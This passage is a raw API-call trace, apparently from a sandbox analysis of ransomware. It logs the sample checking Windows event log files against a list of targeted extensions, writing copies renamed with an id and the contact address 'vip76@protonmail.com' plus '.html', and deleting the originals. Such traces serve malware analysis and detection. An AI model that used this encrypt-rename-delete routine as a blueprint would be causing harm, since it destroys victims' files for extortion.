	[0077.223] lstrlenW (lpString=".dbf") returned 4
	[0077.223] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.223] lstrlenW (lpString=".1cd") returned 4
	[0077.223] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.223] lstrlenW (lpString=".jpg") returned 4
	[0077.223] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.223] lstrlenW (lpString=".doc") returned 4
	[0077.223] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString=".docx") returned 5
	[0077.223] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.223] lstrlenW (lpString=".pdf") returned 4
	[0077.223] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString=".xls") returned 4
	[0077.223] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString=".xlsx") returned 5
	[0077.223] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.223] lstrlenW (lpString=".ppt") returned 4
	[0077.223] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.224] lstrlenW (lpString=".zip") returned 4
	[0077.224] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.224] lstrlenW (lpString=".rar") returned 4
	[0077.224] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.224] lstrlenW (lpString=".bz2") returned 4
	[0077.224] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.224] lstrlenW (lpString=".7z") returned 3
	[0077.224] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.224] lstrlenW (lpString=".dbf") returned 4
	[0077.224] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.224] lstrlenW (lpString=".1cd") returned 4
	[0077.224] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.224] lstrlenW (lpString=".jpg") returned 4
	[0077.224] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.224] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.224] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45
	[0077.224] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.225] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.225] CloseHandle (hObject=0x380) returned 1
	[0077.225] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0077.225] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.225] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.225] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.225] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.225] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.226] GetLastError () returned 0x0
	[0077.226] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.229] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.232] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.232] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0077.232] SetEndOfFile (hFile=0x35c) returned 1
	[0077.233] CloseHandle (hObject=0x35c) returned 1
	[0077.235] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.235] SetEndOfFile (hFile=0x380) returned 1
	[0077.237] CloseHandle (hObject=0x380) returned 1
	[0077.237] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.237] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1
	[0077.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.238] lstrlenW (lpString=".doc") returned 4
	[0077.238] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.238] lstrlenW (lpString=".docx") returned 5
	[0077.238] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.238] lstrlenW (lpString=".pdf") returned 4
	[0077.238] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.238] lstrlenW (lpString=".xls") returned 4
	[0077.238] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.238] lstrlenW (lpString=".xlsx") returned 5
	[0077.238] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.238] lstrlenW (lpString=".ppt") returned 4
	[0077.238] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.238] lstrlenW (lpString=".zip") returned 4
	[0077.238] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.238] lstrlenW (lpString=".rar") returned 4
	[0077.238] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.238] lstrlenW (lpString=".bz2") returned 4
	[0077.238] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString=".7z") returned 3
	[0077.239] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.239] lstrlenW (lpString=".dbf") returned 4
	[0077.239] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.239] lstrlenW (lpString=".1cd") returned 4
	[0077.239] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.239] lstrlenW (lpString=".jpg") returned 4
	[0077.239] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.239] lstrlenW (lpString=".doc") returned 4
	[0077.239] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString=".docx") returned 5
	[0077.239] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.239] lstrlenW (lpString=".pdf") returned 4
	[0077.239] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString=".xls") returned 4
	[0077.239] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.239] lstrlenW (lpString=".xlsx") returned 5
	[0077.239] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.239] lstrlenW (lpString=".ppt") returned 4
	[0077.240] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.240] lstrlenW (lpString=".zip") returned 4
	[0077.240] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.240] lstrlenW (lpString=".rar") returned 4
	[0077.240] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.240] lstrlenW (lpString=".bz2") returned 4
	[0077.240] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.240] lstrlenW (lpString=".7z") returned 3
	[0077.240] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.240] lstrlenW (lpString=".dbf") returned 4
	[0077.240] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.240] lstrlenW (lpString=".1cd") returned 4
	[0077.240] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0077.240] lstrlenW (lpString=".jpg") returned 4
	[0077.240] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.240] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.240] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57
	[0077.241] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.446] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.446] CloseHandle (hObject=0x374) returned 1
	[0077.446] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
	[0077.447] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.447] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.447] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.447] GetLastError () returned 0x0
	[0077.447] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.450] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.452] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.452] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x146, lpOverlapped=0x0) returned 1
	[0077.452] SetEndOfFile (hFile=0x35c) returned 1
	[0077.452] CloseHandle (hObject=0x35c) returned 1
	[0077.454] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.454] SetEndOfFile (hFile=0x374) returned 1
	[0077.455] CloseHandle (hObject=0x374) returned 1
	[0077.456] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.456] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1
	[0077.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.456] lstrlenW (lpString=".doc") returned 4
	[0077.456] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.456] lstrlenW (lpString=".docx") returned 5
	[0077.456] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.456] lstrlenW (lpString=".pdf") returned 4
	[0077.456] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.456] lstrlenW (lpString=".xls") returned 4
	[0077.456] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.456] lstrlenW (lpString=".xlsx") returned 5
	[0077.456] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.456] lstrlenW (lpString=".ppt") returned 4
	[0077.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.457] lstrlenW (lpString=".zip") returned 4
	[0077.457] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString=".rar") returned 4
	[0077.457] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString=".bz2") returned 4
	[0077.457] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString=".7z") returned 3
	[0077.457] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.457] lstrlenW (lpString=".dbf") returned 4
	[0077.457] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.457] lstrlenW (lpString=".1cd") returned 4
	[0077.457] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.457] lstrlenW (lpString=".jpg") returned 4
	[0077.457] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.457] lstrlenW (lpString=".doc") returned 4
	[0077.457] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString=".docx") returned 5
	[0077.457] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.457] lstrlenW (lpString=".pdf") returned 4
	[0077.457] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString=".xls") returned 4
	[0077.457] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.457] lstrlenW (lpString=".xlsx") returned 5
	[0077.457] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.457] lstrlenW (lpString=".ppt") returned 4
	[0077.458] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.458] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.458] lstrlenW (lpString=".zip") returned 4
	[0077.458] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.458] lstrlenW (lpString=".rar") returned 4
	[0077.458] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.458] lstrlenW (lpString=".bz2") returned 4
	[0077.458] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.458] lstrlenW (lpString=".7z") returned 3
	[0077.458] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.458] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.458] lstrlenW (lpString=".dbf") returned 4
	[0077.458] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.458] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.458] lstrlenW (lpString=".1cd") returned 4
	[0077.458] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.458] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0077.458] lstrlenW (lpString=".jpg") returned 4
	[0077.458] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.458] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.458] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42
	[0077.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.459] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.459] CloseHandle (hObject=0x374) returned 1
	[0077.459] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0077.459] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.459] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.459] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.459] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.459] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.460] GetLastError () returned 0x0
	[0077.460] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.462] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.465] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.465] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x128, lpOverlapped=0x0) returned 1
	[0077.465] SetEndOfFile (hFile=0x35c) returned 1
	[0077.465] CloseHandle (hObject=0x35c) returned 1
	[0077.467] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.467] SetEndOfFile (hFile=0x374) returned 1
	[0077.468] CloseHandle (hObject=0x374) returned 1
	[0077.468] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.469] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1
	[0077.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.469] lstrlenW (lpString=".doc") returned 4
	[0077.469] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString=".docx") returned 5
	[0077.469] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.469] lstrlenW (lpString=".pdf") returned 4
	[0077.469] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString=".xls") returned 4
	[0077.469] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString=".xlsx") returned 5
	[0077.469] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.469] lstrlenW (lpString=".ppt") returned 4
	[0077.469] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.469] lstrlenW (lpString=".zip") returned 4
	[0077.469] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString=".rar") returned 4
	[0077.469] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString=".bz2") returned 4
	[0077.469] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.469] lstrlenW (lpString=".7z") returned 3
	[0077.470] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.470] lstrlenW (lpString=".dbf") returned 4
	[0077.470] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.470] lstrlenW (lpString=".1cd") returned 4
	[0077.470] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.470] lstrlenW (lpString=".jpg") returned 4
	[0077.470] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.470] lstrlenW (lpString=".doc") returned 4
	[0077.470] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString=".docx") returned 5
	[0077.470] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
